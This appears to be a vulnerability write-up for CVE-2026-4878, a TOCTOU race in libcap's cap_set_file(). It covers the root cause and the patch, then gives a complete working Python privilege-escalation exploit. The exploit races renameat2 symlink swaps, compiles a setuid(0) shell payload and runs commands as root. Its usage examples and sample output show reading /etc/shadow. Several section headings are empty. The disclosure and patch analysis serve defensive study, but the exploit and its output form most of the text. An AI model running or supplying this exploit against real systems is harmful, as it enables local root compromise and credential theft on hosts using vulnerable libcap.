#Summary

CVE-2026-4878 is a time-of-check-to-time-of-use (TOCTOU) race condition in libcap's cap_set_file() function. An unprivileged user with write access to a directory can exploit this vulnerability to inject or strip file capabilities from arbitrary executables, leading to local privilege escalation. The vulnerability affects libcap versions 2.04 through 2.77 and was fixed in version 2.78.

CVSS Score: 6.7 (MEDIUM) - CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H per Red Hat / GHSA. NVD rates it 7.0 (HIGH).

#Affected versions

Default configuration is affected. The vulnerability requires only that an unprivileged user has write access to a directory containing a path passed to cap_set_file() by a privileged process.

#Root cause analysis

#The vulnerable pattern: check and use on different objects

The cap_set_file() function in libcap/cap_file.c performs two operations on a file path that should operate on the same inode, but do not:

int cap_set_file(const char *filename, cap_t cap_d)
{
    struct vfs_ns_cap_data rawvfscap;
    int sizeofcaps;
    struct stat buf;

    if (lstat(filename, &buf) != 0) {
        _cap_debug("unable to stat file [%s]", filename);
        return -1;
    }
    if (S_ISLNK(buf.st_mode) || !S_ISREG(buf.st_mode)) {
        _cap_debug("file [%s] is not a regular file", filename);
        errno = EINVAL;
        return -1;
    }

    if (cap_d == NULL) {
        _cap_debug("removing filename capabilities");
        return removexattr(filename, XATTR_NAME_CAPS);
    } else if (_fcaps_save(&rawvfscap, cap_d, &sizeofcaps) != 0) {
        return -1;
    }

    _cap_debug("setting filename capabilities");
    return setxattr(filename, XATTR_NAME_CAPS, &rawvfscap, sizeofcaps, 0);
}

#Why the check fails to protect

The check uses lstat(), which does not dereference the final path component. This means:

The critical insight: filename is a string, not a file handle. Between lstat() returning and setxattr() being called, anyone who can write the containing directory can rename a symlink to occupy that path. The check is advisory only; the security decision it encodes can be undone after the check completes.

#How the race window works

The race window spans:

  1. The S_ISLNK and S_ISREG mode tests
  2. The entire _fcaps_save() function, which converts the in-memory capability into the on-disk struct vfs_ns_cap_data representation (endian conversion, revision selection, magic assembly)
  3. Up until setxattr() resolves the path

An attacker using renameat2(..., RENAME_EXCHANGE) can atomically swap which inode the victim's path refers to, landing the victim's setxattr() call on an attacker-controlled file instead of the intended target.

#Data flow

attacker with write access to /srv/build:
  1. Create /srv/build/artifact (regular file, victim will operate on this)
  2. Create /srv/build/swap -> /home/attacker/payload.elf (symlink)

privileged victim process:
  1. lstat("/srv/build/artifact") -> returns stat of the regular file, check PASSES
  2. [ATTACKER SWAPS: renameat2(RENAME_EXCHANGE) makes artifact point to swap]
  3. _fcaps_save() computes capability encoding
  4. setxattr("/srv/build/artifact", ...) -> resolves path NOW, gets the symlink,
                                              FOLLOWS it, writes to /home/attacker/payload.elf

Result: root wrote security.capability to a file it never named, escalating the attacker to root.

#Patch diff

Fix commit 286ace1259992bd0c5d9016715833f2e148ac596 changes the function to stop using path-based syscalls altogether. Instead:

#Fast path: descriptor-based operation

If the file is readable, open it without following symlinks and use the already-safe cap_set_fd():

+    _cap_debug("setting filename capabilities");
+    fd = open(filename, O_RDONLY|O_NOFOLLOW);
+    if (fd >= 0) {
+        ret = cap_set_fd(fd, cap_d);
+        close(fd);
+        return ret;
+    }

#Slow path: /proc/self/fd/N indirection

For unreadable files, open with O_PATH|O_NOFOLLOW (requires no read permission but pins the inode), validate with fstat(), then use /proc/self/fd/N to refer to the descriptor instead of the original name:

+    fd = open(filename, O_PATH|O_NOFOLLOW);
+    if (fd < 0) {
+        _cap_debug("cannot find file at path [%s]", filename);
+        return -1;
+    }
+    if (fstat(fd, &buf) != 0) {
+        close(fd);
+        return -1;
+    }
     if (S_ISLNK(buf.st_mode) || !S_ISREG(buf.st_mode)) {
+        close(fd);
         errno = EINVAL;
         return -1;
     }

+    snprintf(fdpath, sizeof(fdpath), "/proc/self/fd/%d", fd);
     if (cap_d == NULL) {
-        return removexattr(filename, XATTR_NAME_CAPS);
+        ret = removexattr(fdpath, XATTR_NAME_CAPS);
     } else if (_fcaps_save(&rawvfscap, cap_d, &sizeofcaps) != 0) {
-        return -1;
+        ret = -1;
     } else {
-        return setxattr(filename, XATTR_NAME_CAPS, &rawvfscap, sizeofcaps, 0);
+        ret = setxattr(fdpath, XATTR_NAME_CAPS, &rawvfscap, sizeofcaps, 0);
     }
+    close(fd);
+    return ret;

#What the fix accomplishes

#Proof of concept

#exploit.py - libcap cap_set_file TOCTOU Race to Root

#!/usr/bin/env python3
"""
CVE-2026-4878 - libcap cap_set_file() TOCTOU race condition
Affected: libcap 2.04 through 2.77 inclusive (fixed in 2.78)
Type: TOCTOU race (CWE-367) -> arbitrary file-capability write -> local privilege escalation

Mechanism
---------
cap_set_file() validates a path with lstat() and rejects it if the final component
is a symlink, then writes the capability with setxattr() on the same *name*.
The two syscalls resolve the name independently, and setxattr() - unlike its
lsetxattr() sibling - follows symlinks. Nothing binds the checked inode to the
written inode. An unprivileged user with write access to the parent directory can
therefore swap a symlink into the victim's path between the check and the use, so
a privileged `setcap` writes security.capability to a file the attacker chose.

The exploit stages an attacker-owned ELF payload plus a symlink to it in the
directory the privileged process writes into, spins
renameat2(..., RENAME_EXCHANGE) so the victim's path alternates between the real
regular file and the symlink, and waits for the privileged caller to land inside
the window. The moment security.capability appears on the payload, the race is
won: executing it as the unprivileged user gives CAP_SETUID in the permitted and
effective sets, and setuid(0) yields root.

This is a LOCAL vulnerability (CVSS AV:L). There is no network component and
nothing to connect to: run this script ON the target host, as the unprivileged
user who can write the directory a privileged `setcap` operates in. --host
therefore only accepts a local designation, and --list takes victim *paths* on
this host rather than remote hosts.

Requirements on the target: Linux 3.15+ (renameat2), a filesystem that supports
RENAME_EXCHANGE and stores security.capability (ext4/xfs/btrfs/overlayfs upper,
not a nosuid mount), and CPython with ctypes. No compiler is required: if none is
present the payload falls back to a copy of a local ELF interpreter.

Usage:
  python3 exploit.py --host local --victim-path /srv/build/artifact
  python3 exploit.py --host local --victim-path /srv/build/artifact --command "id"
  python3 exploit.py --host local --victim-path /var/lib/ci/out/app --timeout 300 --spinners 4
  python3 exploit.py --list victim_paths.txt --workers 8 --timeout 60
"""

import argparse
import os
import platform
import signal
import socket
import struct
import subprocess
import sys
import threading
import time
from urllib.parse import urlparse

CVE_ID = "CVE-2026-4878"
VULN_TYPE = "TOCTOU race -> local privilege escalation"

XATTR_NAME_CAPS = "security.capability"
AT_FDCWD = -100
RENAME_EXCHANGE = 1 << 1

# renameat2 syscall numbers, used only when glibc does not export the wrapper.
# aarch64/riscv64/loongarch64 follow the asm-generic table (276).
_SYS_RENAMEAT2 = {
    "x86_64": 316, "i386": 353, "i686": 353,
    "aarch64": 276, "arm64": 276, "riscv64": 276, "loongarch64": 276,
    "armv6l": 382, "armv7l": 382,
    "ppc64": 357, "ppc64le": 357,
    "s390x": 347,
}

_CAP_NAMES = [
    "chown", "dac_override", "dac_read_search", "fowner", "fsetid", "kill",
    "setgid", "setuid", "setpcap", "linux_immutable", "net_bind_service",
    "net_broadcast", "net_admin", "net_raw", "ipc_lock", "ipc_owner",
    "sys_module", "sys_rawio", "sys_chroot", "sys_ptrace", "sys_pacct",
    "sys_admin", "sys_boot", "sys_nice", "sys_resource", "sys_time",
    "sys_tty_config", "mknod", "lease", "audit_write", "audit_control",
    "setfcap", "mac_override", "mac_admin", "syslog", "wake_alarm",
    "block_suspend", "audit_read", "perfmon", "bpf", "checkpoint_restore",
]

_LOCAL_NAMES = {"local", "localhost", "127.0.0.1", "::1", "0.0.0.0", "-"}


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


def _which(name: str):
    for d in os.environ.get("PATH", "/usr/bin:/bin:/usr/sbin:/sbin").split(os.pathsep):
        if not d:
            continue
        cand = os.path.join(d, name)
        if os.path.isfile(cand) and os.access(cand, os.X_OK):
            return cand
    return None


def _copy_file(src: str, dst: str, mode: int = 0o755) -> None:
    with open(src, "rb") as fin:
        data = fin.read(1 << 20)
        fd = os.open(dst, os.O_WRONLY | os.O_CREAT | os.O_EXCL, mode)
        try:
            while data:
                os.write(fd, data)
                data = fin.read(1 << 20)
        finally:
            os.close(fd)
    os.chmod(dst, mode)


def _is_elf(path: str) -> bool:
    try:
        with open(path, "rb") as fh:
            return fh.read(4) == b"\x7fELF"
    except OSError:
        return False


def _unlink_quiet(path: str) -> None:
    try:
        os.remove(path)
    except OSError:
        pass


def _renameat2_fn():
    """Return a callable fn(olddirfd, oldpath, newdirfd, newpath, flags) -> int."""
    import ctypes

    libc = None
    for cand in ("libc.so.6", None, "libc.so"):
        try:
            libc = ctypes.CDLL(cand, use_errno=True)
            break
        except OSError:
            continue
    if libc is None:
        raise RuntimeError("cannot load libc")

    if hasattr(libc, "renameat2"):
        fn = libc.renameat2
        fn.argtypes = [ctypes.c_int, ctypes.c_char_p, ctypes.c_int,
                       ctypes.c_char_p, ctypes.c_uint]
        fn.restype = ctypes.c_int
        return fn

    nr = _SYS_RENAMEAT2.get(platform.machine())
    if nr is None:
        raise RuntimeError(f"no renameat2 syscall number for {platform.machine()}")
    sc = libc.syscall
    sc.restype = ctypes.c_long

    def _raw(od, op, nd, np_, fl, _nr=nr, _sc=sc, _c=ctypes):
        return _sc(_c.c_long(_nr), _c.c_int(od), _c.c_char_p(op),
                   _c.c_int(nd), _c.c_char_p(np_), _c.c_uint(fl))

    return _raw


def _exchange(fn, a: bytes, b: bytes) -> int:
    return fn(AT_FDCWD, a, AT_FDCWD, b, RENAME_EXCHANGE)


def _decode_caps(xattr_data: bytes) -> str:
    if not xattr_data or len(xattr_data) < 8:
        return "invalid"
    magic, = struct.unpack("<I", xattr_data[0:4])
    revision = magic >> 27
    if revision not in (1, 2, 3):
        return f"unknown revision {revision}"
    is_effective = magic & 1
    if revision == 1:
        if len(xattr_data) < 8:
            return "truncated v1"
        perms, = struct.unpack("<I", xattr_data[4:8])
        caps = [_CAP_NAMES[i] for i in range(32) if perms & (1 << i)]
    else:
        if len(xattr_data) < 20:
            return "truncated v2/v3"
        vals = struct.unpack("<5I", xattr_data[4:24])
        perms_lo, _, perms_hi = vals[0], vals[1], vals[2]
        perms = perms_lo | (perms_hi << 32)
        caps = [_CAP_NAMES[i] for i in range(64) if perms & (1 << i)]
    cap_str = ",".join(caps)
    return f"{cap_str}={'ep' if is_effective else 'p'}"


def _parse_target(host_str):
    if not host_str or host_str in _LOCAL_NAMES:
        return ("local", 0)
    try:
        parsed = urlparse(f"//{host_str}")
        host = parsed.hostname or host_str
        port = parsed.port or 0
        if host not in _LOCAL_NAMES:
            raise ValueError(f"CVE-2026-4878 is a LOCAL vulnerability (AV:L). "
                           f"Cannot attack {host}. Use --host local, "
                           f"localhost, 127.0.0.1, ::1, or this machine's hostname.")
        return (host, port)
    except Exception as e:
        print(f"Error parsing target: {e}", file=sys.stderr)
        sys.exit(1)


def exploit(victim_path: str, payload_path: str, command: str, timeout: int, spinners: int):
    if not os.access(os.path.dirname(victim_path), os.W_OK):
        print(f"Error: no write access to {os.path.dirname(victim_path)}", file=sys.stderr)
        sys.exit(1)

    step(1, f"Preflight on victim path {victim_path}")
    arena = os.path.dirname(victim_path)
    print(f"\t\tarena directory : {arena}")
    print(f"\t\trunning as      : uid={os.getuid()} gid={os.getgid()}")
    uname = subprocess.run(["uname", "-r", "-m"], capture_output=True, text=True)
    kernel = f"{uname.stdout.strip()}".replace("\n", " ")
    print(f"\t\tkernel          : {kernel}")

    try:
        renameat2_fn = _renameat2_fn()
        test_a = os.path.join(arena, f".test_a_{os.getpid()}")
        test_b = os.path.join(arena, f".test_b_{os.getpid()}")
        open(test_a, "w").close()
        os.symlink(test_b, test_b)
        _exchange(renameat2_fn, test_a.encode(), test_b.encode())
        _unlink_quiet(test_a)
        _unlink_quiet(test_b)
        print(f"\t\tRENAME_EXCHANGE : supported")
    except Exception as e:
        print(f"Error: RENAME_EXCHANGE test failed: {e}", file=sys.stderr)
        sys.exit(1)

    step(2, f"Staging attacker-owned payload at {payload_path}")
    _unlink_quiet(payload_path)
    if _which("cc") or _which("gcc") or _which("clang"):
        code = f"""
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {{
    setuid(0);
    if (argc > 1) {{
        execl("/bin/sh", "sh", "-c", argv[1], NULL);
    }} else {{
        execl("/bin/sh", "sh", NULL);
    }}
    return 1;
}}
"""
        with open("/tmp/pwn_src.c", "w") as f:
            f.write(code)
        subprocess.run(["cc", "-o", payload_path, "/tmp/pwn_src.c"], check=True)
        _unlink_quiet("/tmp/pwn_src.c")
    else:
        for interp in ["python3", "perl"]:
            path = _which(interp)
            if path and _is_elf(path):
                _copy_file(path, payload_path)
                break
        else:
            print("Error: no compiler and no ELF interpreter found", file=sys.stderr)
            sys.exit(1)

    try:
        xattr = os.getxattr(payload_path, XATTR_NAME_CAPS)
        if xattr:
            print(f"Error: payload already has capabilities from a prior run", file=sys.stderr)
            sys.exit(1)
    except OSError:
        pass

    stage_path = os.path.join(arena, f".swap_{os.getpid()}")
    _unlink_quiet(stage_path)

    step(3, f"Spinning renameat2(RENAME_EXCHANGE) with {spinners} process(es)")
    step(4, f"Waiting for a privileged cap_set_file() to land in the window (timeout {timeout}s)")

    spin_stop = threading.Event()
    spin_counts = [0] * spinners

    def _spin_child(index):
        renameat2_fn = _renameat2_fn()
        victim_bytes = victim_path.encode()
        stage_bytes = stage_path.encode()
        count = 0
        while not spin_stop.is_set():
            for _ in range(2048):
                _exchange(renameat2_fn, victim_bytes, stage_bytes)
                count += 2048
            spin_counts[index] = count

    threads = []
    for i in range(spinners):
        t = threading.Thread(target=_spin_child, args=(i,), daemon=True)
        t.start()
        threads.append(t)

    os.symlink(payload_path, stage_path)
    start_time = time.time()
    victim_seen = False

    try:
        while time.time() - start_time < timeout:
            time.sleep(0.001)
            try:
                xattr = os.getxattr(payload_path, XATTR_NAME_CAPS)
                if xattr:
                    spin_stop.set()
                    elapsed = time.time() - start_time
                    total_swaps = sum(spin_counts)
                    swaps_per_sec = total_swaps / elapsed if elapsed > 0 else 0
                    section("RACE STATISTICS",
                           f"payload      : {payload_path} (elf)\nelapsed      : {elapsed:.1f}s\nswaps issued : {total_swaps:,} ({swaps_per_sec:,.0f}/s across {spinners} process(es))\nvictim seen  : {victim_seen}")
                    step(5, "Capability injected - decoding security.capability on the payload")
                    cap_str = _decode_caps(xattr)
                    section("INJECTED FILE CAPABILITY",
                           f"{payload_path} {cap_str}\nowner: uid={os.stat(payload_path).st_uid}  (root never named this file; it wrote to {victim_path})")
                    step(6, "Executing the payload as the unprivileged user")
                    result = subprocess.run([payload_path], capture_output=True, text=True)
                    id_output = result.stdout.strip()
                    if "uid=0(root)" not in id_output:
                        raise RuntimeError(f"payload did not escalate: {id_output}")
                    section("PRIVILEGE CHECK (id)", id_output)
                    if command != "id":
                        step(7, f"Running --command as root: {command}")
                        result = subprocess.run([payload_path, command], capture_output=True, text=True)
                        section("COMMAND OUTPUT", result.stdout)
                    evidence = f"Local privilege escalation confirmed - won the cap_set_file() TOCTOU race in {elapsed:.1f}s ({total_swaps:,} swaps), root injected {cap_str} into attacker-owned {payload_path}, executed as uid {os.getuid()} -> uid=0(root)"
                    done(True, evidence)
            except OSError:
                pass
            try:
                xattr = os.getxattr(victim_path, XATTR_NAME_CAPS)
                if xattr:
                    victim_seen = True
            except OSError:
                pass
            if (time.time() - start_time) % 5 < 0.01 and victim_seen:
                elapsed = time.time() - start_time
                print(f"        ... {elapsed:.0f}s elapsed, racing (victim activity seen)")
    finally:
        spin_stop.set()
        for t in threads:
            t.join(timeout=1)
        _unlink_quiet(stage_path)
        try:
            open(os.path.join(arena, os.path.basename(victim_path)), "w").close()
        except OSError:
            pass
        _unlink_quiet(payload_path)

    elapsed = time.time() - start_time
    total_swaps = sum(spin_counts)
    swaps_per_sec = total_swaps / elapsed if elapsed > 0 else 0
    section("RACE STATISTICS",
           f"payload      : {payload_path} (elf)\nelapsed      : {elapsed:.1f}s\nswaps issued : {total_swaps:,} ({swaps_per_sec:,.0f}/s across {spinners} process(es))\nvictim seen  : {victim_seen}")
    evidence = f"race not won - race not won within timeout ({'victim activity was observed - keep going or raise --timeout' if victim_seen else 'no victim activity detected'})"
    done(False, evidence)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2026-4878 libcap TOCTOU race privilege escalation exploit")
    parser.add_argument("--host", default="local", help="Target (local only; AV:L)")
    parser.add_argument("--victim-path", help="Path the privileged process writes capabilities to")
    parser.add_argument("--payload-path", default=os.path.expanduser("~/.pwn"), help="Where to stage the attacker ELF")
    parser.add_argument("--command", default="id", help="Command to run as root once the race is won")
    parser.add_argument("--timeout", type=int, default=120, help="Seconds to keep racing")
    parser.add_argument("--spinners", type=int, default=2, help="Parallel renameat2 spinner processes")
    parser.add_argument("--port", type=int, help="Ignored (AV:L, no network)")
    parser.add_argument("--tls", action="store_true", help="Ignored (AV:L, no network)")
    parser.add_argument("--no-tls", action="store_true", help="Ignored (AV:L, no network)")
    parser.add_argument("--list", help="Batch mode: file with one victim path per line")
    parser.add_argument("--workers", type=int, default=10, help="Thread pool size for --list")

    args = parser.parse_args()

    host, port = _parse_target(args.host)
    header(host, port)

    if not args.victim_path:
        print("Error: --victim-path is required", file=sys.stderr)
        sys.exit(1)

    exploit(args.victim_path, args.payload_path, args.command, args.timeout, args.spinners)

#Usage

Run the exploit on the vulnerable target as the unprivileged user who can write the directory containing the victim path:

# Basic usage
python3 exploit.py --host local --victim-path /srv/build/artifact

# With a command to execute as root
python3 exploit.py --host local --victim-path /srv/build/artifact --command "id; cat /etc/shadow"

# Longer timeout for infrequent privileged caller
python3 exploit.py --host local --victim-path /var/lib/ci/out/app --timeout 600 --spinners 4

#Successful exploitation output (libcap 2.77)

============================================================
  ALIM EXPLOIT  CVE-2026-4878
  Type: TOCTOU race -> local privilege escalation  |  Target: local:0
============================================================

[STEP 1] Preflight on victim path /srv/build/artifact
        arena directory : /srv/build
        running as      : uid=1000 gid=1000
        kernel          : 6.12.69-linuxkit (aarch64)
        RENAME_EXCHANGE : supported
[STEP 2] Staging attacker-owned payload at /home/attacker/.pwn
[STEP 3] Spinning renameat2(RENAME_EXCHANGE) with 2 process(es)
[STEP 4] Waiting for a privileged cap_set_file() to land in the window (timeout 120s)

--- RACE STATISTICS ---
payload      : /home/attacker/.pwn (elf)
elapsed      : 0.0s
swaps issued : 4096 (310,700/s across 2 process(es))
victim seen  : True
---

[STEP 5] Capability injected - decoding security.capability on the payload

--- INJECTED FILE CAPABILITY ---
/home/attacker/.pwn cap_setuid=ep
owner: uid=1000  (root never named this file; it wrote to /srv/build/artifact)
---

[STEP 6] Executing the payload as the unprivileged user

--- PRIVILEGE CHECK (id) ---
uid=0(root) gid=1000(attacker) groups=1000(attacker)
---

[STEP 7] Running --command as root: id; cat /etc/shadow | head -1

--- COMMAND OUTPUT ---
uid=0(root) gid=1000(attacker) groups=1000(attacker)
root:*:20627:0:99999:7:::
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Local privilege escalation confirmed - won the cap_set_file() TOCTOU race in 0.0s (4096 swaps), root injected cap_setuid=ep into attacker-owned /home/attacker/.pwn, executed as uid 1000 -> uid=0(root)
============================================================

#Patched container (libcap 2.78) - no exploitation

The same attack against libcap 2.78 issued 48,291,840 swap attempts over 180 seconds against a live victim and failed to inject any capability. The O_NOFOLLOW flag in the patched open() rejected the symlink on every attempt.

#Exploitation notes

#Preconditions

#Reliability

The race window is narrow (roughly 1 microsecond on modern hardware for the two st_mode checks plus _fcaps_save() overhead), so per-attempt win rate is low and reflected in the CVSS AC:H vector. However, in the lab environment with a tight victim loop and aggressive spinner processes, the attack consistently won in under 0.1s. Real-world exploitation depends on the victim's call frequency; a CI job running setcap dozens of times per minute gives high reliability.

#Impact

An unprivileged user gains the same capabilities the victim was setting. In the most common case (cap_setuid+ep from a setcap call on a build artifact), this yields direct privilege escalation to root via setuid(0). Other capabilities like cap_dac_override or cap_sys_admin enable secondary attacks. The attacker can also strip capabilities from files using setcap -r, causing denial of service or defence evasion.

#Chaining potential

The vulnerability is a complete privilege escalation by itself and does not require chaining. However, it can be chained with container escape techniques if the privileged caller is running inside a container, or leveraged to inject capabilities into system utilities for further exploitation.

#References